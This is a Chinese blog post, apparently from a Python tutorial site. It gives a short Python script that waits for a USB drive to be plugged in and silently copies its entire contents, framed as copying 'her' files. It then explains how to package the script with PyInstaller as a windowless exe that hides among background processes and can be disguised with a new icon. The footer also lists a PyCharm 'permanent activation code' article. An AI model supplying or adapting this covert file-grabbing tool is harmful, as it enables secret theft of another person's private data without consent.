仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python中的条件判断语句基础学习教程
Feb 07 Python
python编写简单爬虫资料汇总
Mar 22 Python
python实现逻辑回归的方法示例
May 02 Python
Django分页查询并返回jsons数据(中文乱码解决方法)
Aug 02 Python
Python实现的json文件读取及中文乱码显示问题解决方法
Aug 06 Python
python数据处理之如何选取csv文件中某几行的数据
Sep 02 Python
Python 实现自动获取种子磁力链接方式
Jan 16 Python
解决Python pip 自动更新升级失败的问题
Feb 21 Python
Python闭包与装饰器原理及实例解析
Apr 30 Python
最新PyCharm 2020.2.3永久激活码(亲测有效)
Nov 26 Python
详解Python中@staticmethod和@classmethod区别及使用示例代码
Dec 14 Python
Python之基础函数案例详解
Aug 30 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
为PHP初学者的8点有效建议
2010/11/20 PHP
PHP计划任务、定时执行任务的实现代码
2011/04/23 PHP
关于PHP语言构造器介绍
2013/07/08 PHP
CI框架开发新浪微博登录接口源码完整版
2014/05/28 PHP
分享自定义的几个PHP功能函数
2015/04/15 PHP
showModelessDialog()使用详解
2006/09/07 Javascript
showModelDialog弹出文件下载窗口的使用示例
2013/11/19 Javascript
小结Node.js中非阻塞IO和事件循环
2014/09/18 Javascript
JavaScript和JQuery的鼠标mouse事件冒泡处理
2015/06/19 Javascript
微信小程序商品到详情的实现
2017/06/27 Javascript
详解在Vue中如何使用axios跨域访问数据
2017/07/07 Javascript
node 利用进程通信实现Cluster共享内存
2017/10/27 Javascript
浅谈JsonObject中的key-value数据解析排序问题
2017/12/06 Javascript
NodeJS模块与ES6模块系统语法及注意点详解
2019/01/04 NodeJs
es6数值的扩展方法
2019/03/11 Javascript
原生js实现表格翻页和跳转
2020/09/29 Javascript
详解JavaScript中的链式调用
2020/11/27 Javascript
Python多进程同步Lock、Semaphore、Event实例
2014/11/21 Python
Python元组操作实例分析【创建、赋值、更新、删除等】
2017/07/24 Python
Python中实现switch功能实例解析
2018/01/11 Python
matplotlib savefig 保存图片大小的实例
2018/05/24 Python
Python设置在shell脚本中自动补全功能的方法
2018/06/25 Python
在Python中实现shuffle给列表洗牌
2018/11/08 Python
CSS3 Backgrounds属性相关介绍
2011/05/11 HTML / CSS
华为的Java面试题
2014/03/07 面试题
如何提高MySql的安全性
2014/06/19 面试题
继电保护工岗位职责
2014/01/05 职场文书
优秀信贷员先进事迹
2014/01/31 职场文书
学员自我鉴定
2014/03/19 职场文书
中职毕业生自我鉴定范文(3篇)
2014/09/28 职场文书
焦裕禄观后感
2015/06/03 职场文书
父亲节感言
2015/08/03 职场文书
小学2016年第十八届推普周活动总结
2016/04/05 职场文书
致创业您:正能量激励人心句子(48条)
2019/08/15 职场文书
漫画「日和酱的要求是绝对的」第3卷封面公开
2022/03/21 日漫
python中mongodb包操作数据库
2022/04/19 Python